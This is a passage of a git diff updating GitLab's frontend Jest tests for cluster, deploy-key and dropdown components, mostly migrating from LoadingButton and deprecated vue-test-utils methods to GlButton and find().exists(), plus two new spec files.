+ expect(button().text()).toEqual(label);
expect(button().props('loading')).toEqual(loading);
expect(button().props('disabled')).toEqual(disabled);
};
@@ -56,7 +56,7 @@ describe('Application Row', () => {
it('has indeterminate state on page load', () => {
mountComponent({ status: null });
- expect(button().props('label')).toBeUndefined();
+ expect(button().text()).toBe('');
});
it('has install button', () => {
@@ -225,7 +225,7 @@ describe('Application Row', () => {
mountComponent({ updateAvailable: true });
expect(button().exists()).toBe(true);
- expect(button().props('label')).toContain('Update');
+ expect(button().text()).toContain('Update');
});
it('has enabled "Retry update" when update process fails', () => {
@@ -235,14 +235,14 @@ describe('Application Row', () => {
});
expect(button().exists()).toBe(true);
- expect(button().props('label')).toContain('Retry update');
+ expect(button().text()).toContain('Retry update');
});
it('has disabled "Updating" when APPLICATION_STATUS.UPDATING', () => {
mountComponent({ status: APPLICATION_STATUS.UPDATING });
expect(button().exists()).toBe(true);
- expect(button().props('label')).toContain('Updating');
+ expect(button().text()).toContain('Updating');
});
it('clicking update button emits event', () => {
@@ -300,11 +300,11 @@ describe('Application Row', () => {
beforeEach(() => mountComponent({ updateAvailable: true }));
it('the modal is not rendered', () => {
- expect(wrapper.contains(UpdateApplicationConfirmationModal)).toBe(false);
+ expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(false);
});
it('the correct button is rendered', () => {
- expect(wrapper.contains("[data-qa-selector='update_button']")).toBe(true);
+ expect(wrapper.find("[data-qa-selector='update_button']").exists()).toBe(true);
});
});
@@ -318,11 +318,13 @@ describe('Application Row', () => {
});
it('displays a modal', () => {
- expect(wrapper.contains(UpdateApplicationConfirmationModal)).toBe(true);
+ expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(true);
});
it('the correct button is rendered', () => {
- expect(wrapper.contains("[data-qa-selector='update_button_with_confirmation']")).toBe(true);
+ expect(wrapper.find("[data-qa-selector='update_button_with_confirmation']").exists()).toBe(
+ true,
+ );
});
it('triggers updateApplication event', () => {
@@ -344,8 +346,10 @@ describe('Application Row', () => {
version: '1.1.2',
});
- expect(wrapper.contains("[data-qa-selector='update_button_with_confirmation']")).toBe(true);
- expect(wrapper.contains(UpdateApplicationConfirmationModal)).toBe(true);
+ expect(wrapper.find("[data-qa-selector='update_button_with_confirmation']").exists()).toBe(
+ true,
+ );
+ expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(true);
});
it('does not need confirmation is version is 3.0.0', () => {
@@ -355,8 +359,8 @@ describe('Application Row', () => {
version: '3.0.0',
});
- expect(wrapper.contains("[data-qa-selector='update_button']")).toBe(true);
- expect(wrapper.contains(UpdateApplicationConfirmationModal)).toBe(false);
+ expect(wrapper.find("[data-qa-selector='update_button']").exists()).toBe(true);
+ expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(false);
});
it('does not need confirmation if version is higher than 3.0.0', () => {
@@ -366,8 +370,8 @@ describe('Application Row', () => {
version: '5.2.1',
});
- expect(wrapper.contains("[data-qa-selector='update_button']")).toBe(true);
- expect(wrapper.contains(UpdateApplicationConfirmationModal)).toBe(false);
+ expect(wrapper.find("[data-qa-selector='update_button']").exists()).toBe(true);
+ expect(wrapper.find(UpdateApplicationConfirmationModal).exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/clusters/components/fluentd_output_settings_spec.js b/spec/frontend/clusters/components/fluentd_output_settings_spec.js
index 0bc4eb73bf9..c263679a45c 100644
--- a/spec/frontend/clusters/components/fluentd_output_settings_spec.js
+++ b/spec/frontend/clusters/components/fluentd_output_settings_spec.js
@@ -168,7 +168,7 @@ describe('FluentdOutputSettings', () => {
});
it('displays a error message', () => {
- expect(wrapper.contains(GlAlert)).toBe(true);
+ expect(wrapper.find(GlAlert).exists()).toBe(true);
});
});
});
diff --git a/spec/frontend/clusters/components/knative_domain_editor_spec.js b/spec/frontend/clusters/components/knative_domain_editor_spec.js
index a07258dcc69..11ebe1b5d61 100644
--- a/spec/frontend/clusters/components/knative_domain_editor_spec.js
+++ b/spec/frontend/clusters/components/knative_domain_editor_spec.js
@@ -1,7 +1,6 @@
import { shallowMount } from '@vue/test-utils';
-import { GlDeprecatedDropdownItem } from '@gitlab/ui';
+import { GlDeprecatedDropdownItem, GlButton } from '@gitlab/ui';
import KnativeDomainEditor from '~/clusters/components/knative_domain_editor.vue';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
import { APPLICATION_STATUS } from '~/clusters/constants';
const { UPDATING } = APPLICATION_STATUS;
@@ -79,7 +78,7 @@ describe('KnativeDomainEditor', () => {
});
it('triggers save event and pass current knative hostname', () => {
- wrapper.find(LoadingButton).vm.$emit('click');
+ wrapper.find(GlButton).vm.$emit('click');
return wrapper.vm.$nextTick().then(() => {
expect(wrapper.emitted('save').length).toEqual(1);
});
@@ -166,15 +165,15 @@ describe('KnativeDomainEditor', () => {
});
it('renders loading spinner in save button', () => {
- expect(wrapper.find(LoadingButton).props('loading')).toBe(true);
+ expect(wrapper.find(GlButton).props('loading')).toBe(true);
});
it('renders disabled save button', () => {
- expect(wrapper.find(LoadingButton).props('disabled')).toBe(true);
+ expect(wrapper.find(GlButton).props('disabled')).toBe(true);
});
it('renders save button with "Saving" label', () => {
- expect(wrapper.find(LoadingButton).props('label')).toBe('Saving');
+ expect(wrapper.find(GlButton).text()).toBe('Saving');
});
});
});
diff --git a/spec/frontend/clusters/components/new_cluster_spec.js b/spec/frontend/clusters/components/new_cluster_spec.js
new file mode 100644
index 00000000000..bb4898f98ba
--- /dev/null
+++ b/spec/frontend/clusters/components/new_cluster_spec.js
@@ -0,0 +1,41 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlLink, GlSprintf } from '@gitlab/ui';
+import NewCluster from '~/clusters/components/new_cluster.vue';
+import createClusterStore from '~/clusters/stores/new_cluster';
+
+describe('NewCluster', () => {
+ let store;
+ let wrapper;
+
+ const createWrapper = () => {
+ store = createClusterStore({ clusterConnectHelpPath: '/some/help/path' });
+ wrapper = shallowMount(NewCluster, { store, stubs: { GlLink, GlSprintf } });
+ return wrapper.vm.$nextTick();
+ };
+
+ const findDescription = () => wrapper.find(GlSprintf);
+
+ const findLink = () => wrapper.find(GlLink);
+
+ beforeEach(() => {
+ return createWrapper();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders the cluster component correctly', () => {
+ expect(wrapper.html()).toMatchSnapshot();
+ });
+
+ it('renders the correct information text', () => {
+ expect(findDescription().text()).toContain(
+ 'Please enter access information for your Kubernetes cluster.',
+ );
+ });
+
+ it('renders a valid help link set by the backend', () => {
+ expect(findLink().attributes('href')).toBe('/some/help/path');
+ });
+});
diff --git a/spec/frontend/clusters/components/uninstall_application_button_spec.js b/spec/frontend/clusters/components/uninstall_application_button_spec.js
index 9f9397d4d41..387e2188572 100644
--- a/spec/frontend/clusters/components/uninstall_application_button_spec.js
+++ b/spec/frontend/clusters/components/uninstall_application_button_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
+import { GlButton } from '@gitlab/ui';
import UninstallApplicationButton from '~/clusters/components/uninstall_application_button.vue';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
import { APPLICATION_STATUS } from '~/clusters/constants';
const { INSTALLED, UPDATING, UNINSTALLING } = APPLICATION_STATUS;
@@ -19,14 +19,21 @@ describe('UninstallApplicationButton', () => {
});
describe.each`
- status | loading | disabled | label
+ status | loading | disabled | text
${INSTALLED} | ${false} | ${false} | ${'Uninstall'}
${UPDATING} | ${false} | ${true} | ${'Uninstall'}
${UNINSTALLING} | ${true} | ${true} | ${'Uninstalling'}
- `('when app status is $status', ({ loading, disabled, status, label }) => {
- it(`renders a loading=${loading}, disabled=${disabled} button with label="${label}"`, () => {
+ `('when app status is $status', ({ loading, disabled, status, text }) => {
+ beforeAll(() => {
createComponent({ status });
- expect(wrapper.find(LoadingButton).props()).toMatchObject({ loading, disabled, label });
+ });
+
+ it(`renders a button with loading=${loading} and disabled=${disabled}`, () => {
+ expect(wrapper.find(GlButton).props()).toMatchObject({ loading, disabled });
+ });
+
+ it(`renders a button with text="${text}"`, () => {
+ expect(wrapper.find(GlButton).text()).toBe(text);
});
});
});
diff --git a/spec/frontend/clusters_list/components/ancestor_notice_spec.js b/spec/frontend/clusters_list/components/ancestor_notice_spec.js
index cff84180f26..436f1e97b04 100644
--- a/spec/frontend/clusters_list/components/ancestor_notice_spec.js
+++ b/spec/frontend/clusters_list/components/ancestor_notice_spec.js
@@ -28,7 +28,7 @@ describe('ClustersAncestorNotice', () => {
});
it('displays no notice', () => {
- expect(wrapper.isEmpty()).toBe(true);
+ expect(wrapper.html()).toBe('');
});
});
@@ -45,7 +45,7 @@ describe('ClustersAncestorNotice', () => {
});
it('displays link', () => {
- expect(wrapper.contains(GlLink)).toBe(true);
+ expect(wrapper.find(GlLink).exists()).toBe(true);
});
});
});
diff --git a/spec/frontend/clusters_list/components/clusters_spec.js b/spec/frontend/clusters_list/components/clusters_spec.js
index c6a5f66a627..628c35ae839 100644
--- a/spec/frontend/clusters_list/components/clusters_spec.js
+++ b/spec/frontend/clusters_list/components/clusters_spec.js
@@ -1,6 +1,11 @@
import MockAdapter from 'axios-mock-adapter';
import { mount } from '@vue/test-utils';
-import { GlLoadingIcon, GlPagination, GlSkeletonLoading, GlTable } from '@gitlab/ui';
+import {
+ GlLoadingIcon,
+ GlPagination,
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
+ GlTable,
+} from '@gitlab/ui';
import * as Sentry from '@sentry/browser';
import axios from '~/lib/utils/axios_utils';
import Clusters from '~/clusters_list/components/clusters.vue';
diff --git a/spec/frontend/collapsed_sidebar_todo_spec.js b/spec/frontend/collapsed_sidebar_todo_spec.js
index 0c74491aa74..b1a304fabcd 100644
--- a/spec/frontend/collapsed_sidebar_todo_spec.js
+++ b/spec/frontend/collapsed_sidebar_todo_spec.js
@@ -47,9 +47,9 @@ describe('Issuable right sidebar collapsed todo toggle', () => {
expect(
document
- .querySelector('.js-issuable-todo.sidebar-collapsed-icon svg use')
- .getAttribute('xlink:href'),
- ).toContain('todo-add');
+ .querySelector('.js-issuable-todo.sidebar-collapsed-icon svg')
+ .getAttribute('data-testid'),
+ ).toBe('todo-add-icon');
expect(
document.querySelector('.js-issuable-todo.sidebar-collapsed-icon .todo-undone'),
@@ -72,9 +72,9 @@ describe('Issuable right sidebar collapsed todo toggle', () => {
expect(
document
- .querySelector('.js-issuable-todo.sidebar-collapsed-icon svg.todo-undone use')
- .getAttribute('xlink:href'),
- ).toContain('todo-done');
+ .querySelector('.js-issuable-todo.sidebar-collapsed-icon svg.todo-undone')
+ .getAttribute('data-testid'),
+ ).toBe('todo-done-icon');
done();
});
diff --git a/spec/frontend/confidential_merge_request/components/__snapshots__/project_form_group_spec.js.snap b/spec/frontend/confidential_merge_request/components/__snapshots__/project_form_group_spec.js.snap
index f7b68d96129..271c6356f7e 100644
--- a/spec/frontend/confidential_merge_request/components/__snapshots__/project_form_group_spec.js.snap
+++ b/spec/frontend/confidential_merge_request/components/__snapshots__/project_form_group_spec.js.snap
@@ -33,9 +33,9 @@ exports[`Confidential merge request project form group component renders empty s
Read more
</span>
- <i
- aria-hidden="true"
- class="fa fa-question-circle"
+ <gl-icon-stub
+ name="question-o"
+ size="16"
/>
</gl-link-stub>
</p>
@@ -76,9 +76,9 @@ exports[`Confidential merge request project form group component renders fork dr
Read more
</span>
- <i
- aria-hidden="true"
- class="fa fa-question-circle"
+ <gl-icon-stub
+ name="question-o"
+ size="16"
/>
</gl-link-stub>
</p>
diff --git a/spec/frontend/create_cluster/components/cluster_form_dropdown_spec.js b/spec/frontend/create_cluster/components/cluster_form_dropdown_spec.js
index 14f2a527dfb..17abf409717 100644
--- a/spec/frontend/create_cluster/components/cluster_form_dropdown_spec.js
+++ b/spec/frontend/create_cluster/components/cluster_form_dropdown_spec.js
@@ -92,7 +92,7 @@ describe('ClusterFormDropdown', () => {
});
it('displays a checked GlIcon next to the item', () => {
- expect(wrapper.find(GlIcon).is('.invisible')).toBe(false);
+ expect(wrapper.find(GlIcon).classes()).not.toContain('invisible');
expect(wrapper.find(GlIcon).props('name')).toBe('mobile-issue-close');
});
});
diff --git a/spec/frontend/create_cluster/eks_cluster/components/eks_cluster_configuration_form_spec.js b/spec/frontend/create_cluster/eks_cluster/components/eks_cluster_configuration_form_spec.js
index 34d9ee733c4..d7dd7072f67 100644
--- a/spec/frontend/create_cluster/eks_cluster/components/eks_cluster_configuration_form_spec.js
+++ b/spec/frontend/create_cluster/eks_cluster/components/eks_cluster_configuration_form_spec.js
@@ -147,6 +147,7 @@ describe('EksClusterConfigurationForm', () => {
initialState: {
clusterName: 'cluster name',
environmentScope: '*',
+ kubernetesVersion: '1.16',
selectedRegion: 'region',
selectedRole: 'role',
selectedKeyPair: 'key pair',
@@ -400,43 +401,33 @@ describe('EksClusterConfigurationForm', () => {
});
it('dispatches setRegion action', () => {
- expect(actions.setRegion).toHaveBeenCalledWith(expect.anything(), { region }, undefined);
+ expect(actions.setRegion).toHaveBeenCalledWith(expect.anything(), { region });
});
it('fetches available vpcs', () => {
- expect(vpcsActions.fetchItems).toHaveBeenCalledWith(expect.anything(), { region }, undefined);
+ expect(vpcsActions.fetchItems).toHaveBeenCalledWith(expect.anything(), { region });
});
it('fetches available key pairs', () => {
- expect(keyPairsActions.fetchItems).toHaveBeenCalledWith(
- expect.anything(),
- { region },
- undefined,
- );
+ expect(keyPairsActions.fetchItems).toHaveBeenCalledWith(expect.anything(), { region });
});
it('cleans selected vpc', () => {
- expect(actions.setVpc).toHaveBeenCalledWith(expect.anything(), { vpc: null }, undefined);
+ expect(actions.setVpc).toHaveBeenCalledWith(expect.anything(), { vpc: null });
});
it('cleans selected key pair', () => {
- expect(actions.setKeyPair).toHaveBeenCalledWith(
- expect.anything(),
- { keyPair: null },
- undefined,
- );
+ expect(actions.setKeyPair).toHaveBeenCalledWith(expect.anything(), { keyPair: null });
});
it('cleans selected subnet', () => {
- expect(actions.setSubnet).toHaveBeenCalledWith(expect.anything(), { subnet: [] }, undefined);
+ expect(actions.setSubnet).toHaveBeenCalledWith(expect.anything(), { subnet: [] });
});
it('cleans selected security group', () => {
- expect(actions.setSecurityGroup).toHaveBeenCalledWith(
- expect.anything(),
- { securityGroup: null },
- undefined,
- );
+ expect(actions.setSecurityGroup).toHaveBeenCalledWith(expect.anything(), {
+ securityGroup: null,
+ });
});
});
@@ -445,11 +436,7 @@ describe('EksClusterConfigurationForm', () => {
findClusterNameInput().vm.$emit('input', clusterName);
- expect(actions.setClusterName).toHaveBeenCalledWith(
- expect.anything(),
- { clusterName },
- undefined,
- );
+ expect(actions.setClusterName).toHaveBeenCalledWith(expect.anything(), { clusterName });
});
it('dispatches setEnvironmentScope when environment scope input changes', () => {
@@ -457,11 +444,9 @@ describe('EksClusterConfigurationForm', () => {
findEnvironmentScopeInput().vm.$emit('input', environmentScope);
- expect(actions.setEnvironmentScope).toHaveBeenCalledWith(
- expect.anything(),
- { environmentScope },
- undefined,
- );
+ expect(actions.setEnvironmentScope).toHaveBeenCalledWith(expect.anything(), {
+ environmentScope,
+ });
});
it('dispatches setKubernetesVersion when kubernetes version dropdown changes', () => {
@@ -469,11 +454,9 @@ describe('EksClusterConfigurationForm', () => {
findKubernetesVersionDropdown().vm.$emit('input', kubernetesVersion);
- expect(actions.setKubernetesVersion).toHaveBeenCalledWith(
- expect.anything(),
- { kubernetesVersion },
- undefined,
- );
+ expect(actions.setKubernetesVersion).toHaveBeenCalledWith(expect.anything(), {
+ kubernetesVersion,
+ });
});
it('dispatches setGitlabManagedCluster when gitlab managed cluster input changes', () => {
@@ -481,11 +464,9 @@ describe('EksClusterConfigurationForm', () => {
findGitlabManagedClusterCheckbox().vm.$emit('input', gitlabManagedCluster);
- expect(actions.setGitlabManagedCluster).toHaveBeenCalledWith(
- expect.anything(),
- { gitlabManagedCluster },
- undefined,
- );
+ expect(actions.setGitlabManagedCluster).toHaveBeenCalledWith(expect.anything(), {
+ gitlabManagedCluster,
+ });
});
describe('when vpc is selected', () => {
@@ -498,35 +479,28 @@ describe('EksClusterConfigurationForm', () => {
});
it('dispatches setVpc action', () => {
- expect(actions.setVpc).toHaveBeenCalledWith(expect.anything(), { vpc }, undefined);
+ expect(actions.setVpc).toHaveBeenCalledWith(expect.anything(), { vpc });
});
it('cleans selected subnet', () => {
- expect(actions.setSubnet).toHaveBeenCalledWith(expect.anything(), { subnet: [] }, undefined);
+ expect(actions.setSubnet).toHaveBeenCalledWith(expect.anything(), { subnet: [] });
});
it('cleans selected security group', () => {
- expect(actions.setSecurityGroup).toHaveBeenCalledWith(
- expect.anything(),
- { securityGroup: null },
- undefined,
- );
+ expect(actions.setSecurityGroup).toHaveBeenCalledWith(expect.anything(), {
+ securityGroup: null,
+ });
});
it('dispatches fetchSubnets action', () => {
- expect(subnetsActions.fetchItems).toHaveBeenCalledWith(
- expect.anything(),
- { vpc, region },
- undefined,
- );
+ expect(subnetsActions.fetchItems).toHaveBeenCalledWith(expect.anything(), { vpc, region });
});
it('dispatches fetchSecurityGroups action', () => {
- expect(securityGroupsActions.fetchItems).toHaveBeenCalledWith(
- expect.anything(),
- { vpc, region },
- undefined,
- );
+ expect(securityGroupsActions.fetchItems).toHaveBeenCalledWith(expect.anything(), {
+ vpc,
+ region,
+ });
});
});
@@ -538,7 +512,7 @@ describe('EksClusterConfigurationForm', () => {
});
it('dispatches setSubnet action', () => {
- expect(actions.setSubnet).toHaveBeenCalledWith(expect.anything(), { subnet }, undefined);
+ expect(actions.setSubnet).toHaveBeenCalledWith(expect.anything(), { subnet });
});
});
@@ -550,7 +524,7 @@ describe('EksClusterConfigurationForm', () => {
});
it('dispatches setRole action', () => {
- expect(actions.setRole).toHaveBeenCalledWith(expect.anything(), { role }, undefined);
+ expect(actions.setRole).toHaveBeenCalledWith(expect.anything(), { role });
});
});
@@ -562,7 +536,7 @@ describe('EksClusterConfigurationForm', () => {
});
it('dispatches setKeyPair action', () => {
- expect(actions.setKeyPair).toHaveBeenCalledWith(expect.anything(), { keyPair }, undefined);
+ expect(actions.setKeyPair).toHaveBeenCalledWith(expect.anything(), { keyPair });
});
});
@@ -574,11 +548,7 @@ describe('EksClusterConfigurationForm', () => {
});
it('dispatches setSecurityGroup action', () => {
- expect(actions.setSecurityGroup).toHaveBeenCalledWith(
- expect.anything(),
- { securityGroup },
- undefined,
- );
+ expect(actions.setSecurityGroup).toHaveBeenCalledWith(expect.anything(), { securityGroup });
});
});
@@ -590,11 +560,7 @@ describe('EksClusterConfigurationForm', () => {
});
it('dispatches setInstanceType action', () => {
- expect(actions.setInstanceType).toHaveBeenCalledWith(
- expect.anything(),
- { instanceType },
- undefined,
- );
+ expect(actions.setInstanceType).toHaveBeenCalledWith(expect.anything(), { instanceType });
});
});
@@ -603,7 +569,7 @@ describe('EksClusterConfigurationForm', () => {
findNodeCountInput().vm.$emit('input', nodeCount);
- expect(actions.setNodeCount).toHaveBeenCalledWith(expect.anything(), { nodeCount }, undefined);
+ expect(actions.setNodeCount).toHaveBeenCalledWith(expect.anything(), { nodeCount });
});
describe('when all cluster configuration fields are set', () => {
diff --git a/spec/frontend/create_cluster/eks_cluster/components/service_credentials_form_spec.js b/spec/frontend/create_cluster/eks_cluster/components/service_credentials_form_spec.js
index c58638f5c80..d2d6db31d1b 100644
--- a/spec/frontend/create_cluster/eks_cluster/components/service_credentials_form_spec.js
+++ b/spec/frontend/create_cluster/eks_cluster/components/service_credentials_form_spec.js
@@ -1,9 +1,7 @@
import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
-
+import { GlButton } from '@gitlab/ui';
import ServiceCredentialsForm from '~/create_cluster/eks_cluster/components/service_credentials_form.vue';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
-
import eksClusterState from '~/create_cluster/eks_cluster/store/state';
const localVue = createLocalVue();
@@ -46,7 +44,7 @@ describe('ServiceCredentialsForm', () => {
const findExternalIdInput = () => vm.find('#eks-external-id');
const findCopyExternalIdButton = () => vm.find('.js-copy-external-id-button');
const findInvalidCredentials = () => vm.find('.js-invalid-credentials');
- const findSubmitButton = () => vm.find(LoadingButton);
+ const findSubmitButton = () => vm.find(GlButton);
it('displays provided account id', () => {
expect(findAccountIdInput().attributes('value')).toBe(accountId);
@@ -102,7 +100,7 @@ describe('ServiceCredentialsForm', () => {
});
it('displays Authenticating label on submit button', () => {
- expect(findSubmitButton().props('label')).toBe('Authenticating');
+ expect(findSubmitButton().text()).toBe('Authenticating');
});
});
diff --git a/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js b/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
index 882a4a002bd..ed753888790 100644
--- a/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
+++ b/spec/frontend/create_cluster/eks_cluster/store/actions_spec.js
@@ -47,7 +47,7 @@ describe('EKS Cluster Store Actions', () => {
beforeEach(() => {
clusterName = 'my cluster';
environmentScope = 'production';
- kubernetesVersion = '11.1';
+ kubernetesVersion = '1.16';
region = 'regions-1';
vpc = 'vpc-1';
subnet = 'subnet-1';
@@ -180,6 +180,7 @@ describe('EKS Cluster Store Actions', () => {
environment_scope: environmentScope,
managed: gitlabManagedCluster,
provider_aws_attributes: {
+ kubernetes_version: kubernetesVersion,
region,
vpc_id: vpc,
subnet_ids: subnet,
diff --git a/spec/frontend/create_cluster/gke_cluster/components/gke_machine_type_dropdown_spec.js b/spec/frontend/create_cluster/gke_cluster/components/gke_machine_type_dropdown_spec.js
index 57ef74f0119..c09eaa63d4d 100644
--- a/spec/frontend/create_cluster/gke_cluster/components/gke_machine_type_dropdown_spec.js
+++ b/spec/frontend/create_cluster/gke_cluster/components/gke_machine_type_dropdown_spec.js
@@ -124,11 +124,7 @@ describe('GkeMachineTypeDropdown', () => {
wrapper.find('.dropdown-content button').trigger('click');
return wrapper.vm.$nextTick().then(() => {
- expect(setMachineType).toHaveBeenCalledWith(
- expect.anything(),
- selectedMachineTypeMock,
- undefined,
- );
+ expect(setMachineType).toHaveBeenCalledWith(expect.anything(), selectedMachineTypeMock);
});
});
});
diff --git a/spec/frontend/create_cluster/gke_cluster/components/gke_network_dropdown_spec.js b/spec/frontend/create_cluster/gke_cluster/components/gke_network_dropdown_spec.js
index 1df583af711..ce24d186511 100644
--- a/spec/frontend/create_cluster/gke_cluster/components/gke_network_dropdown_spec.js
+++ b/spec/frontend/create_cluster/gke_cluster/components/gke_network_dropdown_spec.js
@@ -121,23 +121,19 @@ describe('GkeNetworkDropdown', () => {
});
it('cleans selected subnetwork', () => {
- expect(setSubnetwork).toHaveBeenCalledWith(expect.anything(), '', undefined);
+ expect(setSubnetwork).toHaveBeenCalledWith(expect.anything(), '');
});
it('dispatches the setNetwork action', () => {
- expect(setNetwork).toHaveBeenCalledWith(expect.anything(), selectedNetwork, undefined);
+ expect(setNetwork).toHaveBeenCalledWith(expect.anything(), selectedNetwork);
});
it('fetches subnetworks for the selected project, region, and network', () => {
- expect(fetchSubnetworks).toHaveBeenCalledWith(
- expect.anything(),
- {
- project: projectId,
- region,
- network: selectedNetwork.selfLink,
- },
- undefined,
- );
+ expect(fetchSubnetworks).toHaveBeenCalledWith(expect.anything(), {
+ project: projectId,
+ region,
+ network: selectedNetwork.selfLink,
+ });
});
});
});
diff --git a/spec/frontend/create_cluster/gke_cluster/components/gke_project_id_dropdown_spec.js b/spec/frontend/create_cluster/gke_cluster/components/gke_project_id_dropdown_spec.js
index 0d429778a44..eb58108bf3c 100644
--- a/spec/frontend/create_cluster/gke_cluster/components/gke_project_id_dropdown_spec.js
+++ b/spec/frontend/create_cluster/gke_cluster/components/gke_project_id_dropdown_spec.js
@@ -130,7 +130,6 @@ describe('GkeProjectIdDropdown', () => {
expect(setProject).toHaveBeenCalledWith(
expect.anything(),
gapiProjectsResponseMock.projects[0],
- undefined,
);
});
});
diff --git a/spec/frontend/create_cluster/gke_cluster/components/gke_subnetwork_dropdown_spec.js b/spec/frontend/create_cluster/gke_cluster/components/gke_subnetwork_dropdown_spec.js
index a1dc3960fe9..35e43d5b033 100644
--- a/spec/frontend/create_cluster/gke_cluster/components/gke_subnetwork_dropdown_spec.js
+++ b/spec/frontend/create_cluster/gke_cluster/components/gke_subnetwork_dropdown_spec.js
@@ -107,7 +107,7 @@ describe('GkeSubnetworkDropdown', () => {
wrapper.find(ClusterFormDropdown).vm.$emit('input', selectedSubnetwork);
- expect(setSubnetwork).toHaveBeenCalledWith(expect.anything(), selectedSubnetwork, undefined);
+ expect(setSubnetwork).toHaveBeenCalledWith(expect.anything(), selectedSubnetwork);
});
});
});
diff --git a/spec/frontend/deploy_freeze/components/timezone_dropdown_spec.js b/spec/frontend/deploy_freeze/components/timezone_dropdown_spec.js
index 644cd0b5f27..99cb864ce34 100644
--- a/spec/frontend/deploy_freeze/components/timezone_dropdown_spec.js
+++ b/spec/frontend/deploy_freeze/components/timezone_dropdown_spec.js
@@ -1,6 +1,6 @@
import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { GlDeprecatedDropdownItem, GlNewDropdown } from '@gitlab/ui';
+import { GlDeprecatedDropdownItem, GlDropdown } from '@gitlab/ui';
import TimezoneDropdown from '~/vue_shared/components/timezone_dropdown.vue';
import createStore from '~/deploy_freeze/store';
@@ -92,7 +92,7 @@ describe('Deploy freeze timezone dropdown', () => {
});
it('renders selected time zone as dropdown label', () => {
- expect(wrapper.find(GlNewDropdown).vm.text).toBe('Alaska');
+ expect(wrapper.find(GlDropdown).vm.text).toBe('Alaska');
});
});
});
diff --git a/spec/frontend/deploy_keys/components/key_spec.js b/spec/frontend/deploy_keys/components/key_spec.js
index 7d942d969bb..0b1cbd28274 100644
--- a/spec/frontend/deploy_keys/components/key_spec.js
+++ b/spec/frontend/deploy_keys/components/key_spec.js
@@ -55,20 +55,20 @@ describe('Deploy keys key', () => {
it('shows pencil button for editing', () => {
createComponent({ deployKey });
- expect(wrapper.find('.btn .ic-pencil')).toExist();
+ expect(wrapper.find('.btn [data-testid="pencil-icon"]')).toExist();
});
it('shows disable button when the project is not deletable', () => {
createComponent({ deployKey });
- expect(wrapper.find('.btn .ic-cancel')).toExist();
+ expect(wrapper.find('.btn [data-testid="cancel-icon"]')).toExist();
});
it('shows remove button when the project is deletable', () => {
createComponent({
deployKey: { ...deployKey, destroyed_when_orphaned: true, almost_orphaned: true },
});
- expect(wrapper.find('.btn .ic-remove')).toExist();
+ expect(wrapper.find('.btn [data-testid="remove-icon"]')).toExist();
});
});
@@ -147,7 +147,7 @@ describe('Deploy keys key', () => {
it('shows pencil button for editing', () => {
createComponent({ deployKey });
- expect(wrapper.find('.btn .ic-pencil')).toExist();
+ expect(wrapper.find('.btn [data-testid="pencil-icon"]')).toExist();
});
it('shows disable button when key is enabled', () => {
@@ -155,7 +155,7 @@ describe('Deploy keys key', () => {
createComponent({ deployKey });
- expect(wrapper.find('.btn .ic-cancel')).toExist();
+ expect(wrapper.find('.btn [data-testid="cancel-icon"]')).toExist();
});
});
});
diff --git a/spec/frontend/deprecated_jquery_dropdown_spec.js b/spec/frontend/deprecated_jquery_dropdown_spec.js
new file mode 100644
index 00000000000..e6323859899
--- /dev/null
+++ b/spec/frontend/deprecated_jquery_dropdown_spec.js
@@ -0,0 +1,379 @@
+/* eslint-disable no-param-reassign */
+
+import $ from 'jquery';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import '~/lib/utils/common_utils';
+import { visitUrl } from '~/lib/utils/url_utility';
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ visitUrl: jest.fn().mockName('visitUrl'),
+}));
+
+describe('deprecatedJQueryDropdown', () => {
+ preloadFixtures('static/deprecated_jquery_dropdown.html');
+
+ const NON_SELECTABLE_CLASSES =
+ '.divider, .separator, .dropdown-header, .dropdown-menu-empty-item';
+ const SEARCH_INPUT_SELECTOR = '.dropdown-input-field';
+ const ITEM_SELECTOR = `.dropdown-content li:not(${NON_SELECTABLE_CLASSES})`;
+ const FOCUSED_ITEM_SELECTOR = `${ITEM_SELECTOR} a.is-focused`;
+ const ARROW_KEYS = {
+ DOWN: 40,
+ UP: 38,
+ ENTER: 13,
+ ESC: 27,
+ };
+
+ let remoteCallback;
+
+ const test = {};
+
+ const navigateWithKeys = (direction, steps, cb, i) => {
+ i = i || 0;
+ if (!i) direction = direction.toUpperCase();
+ $('body').trigger({
+ type: 'keydown',
+ which: ARROW_KEYS[direction],
+ keyCode: ARROW_KEYS[direction],
+ });
+ i += 1;
+ if (i <= steps) {
+ navigateWithKeys(direction, steps, cb, i);
+ } else {
+ cb();
+ }
+ };
+
+ const remoteMock = (data, term, callback) => {
+ remoteCallback = callback.bind({}, data);
+ };
+
+ function initDropDown(hasRemote, isFilterable, extraOpts = {}) {
+ const options = {
+ selectable: true,
+ filterable: isFilterable,
+ data: hasRemote ? remoteMock.bind({}, test.projectsData) : test.projectsData,
+ search: {
+ fields: ['name'],
+ },
+ text: project => project.name_with_namespace || project.name,
+ id: project => project.id,
+ ...extraOpts,
+ };
+ test.dropdownButtonElement = $('#js-project-dropdown', test.dropdownContainerElement);
+ initDeprecatedJQueryDropdown(test.dropdownButtonElement, options);
+ }
+
+ beforeEach(() => {
+ loadFixtures('static/deprecated_jquery_dropdown.html');
+ test.dropdownContainerElement = $('.dropdown.inline');
+ test.$dropdownMenuElement = $('.dropdown-menu', test.dropdownContainerElement);
+ test.projectsData = getJSONFixture('static/projects.json');
+ });
+
+ afterEach(() => {
+ $('body').off('keydown');
+ test.dropdownContainerElement.off('keyup');
+ });
+
+ it('should open on click', () => {
+ initDropDown.call(this, false);
+
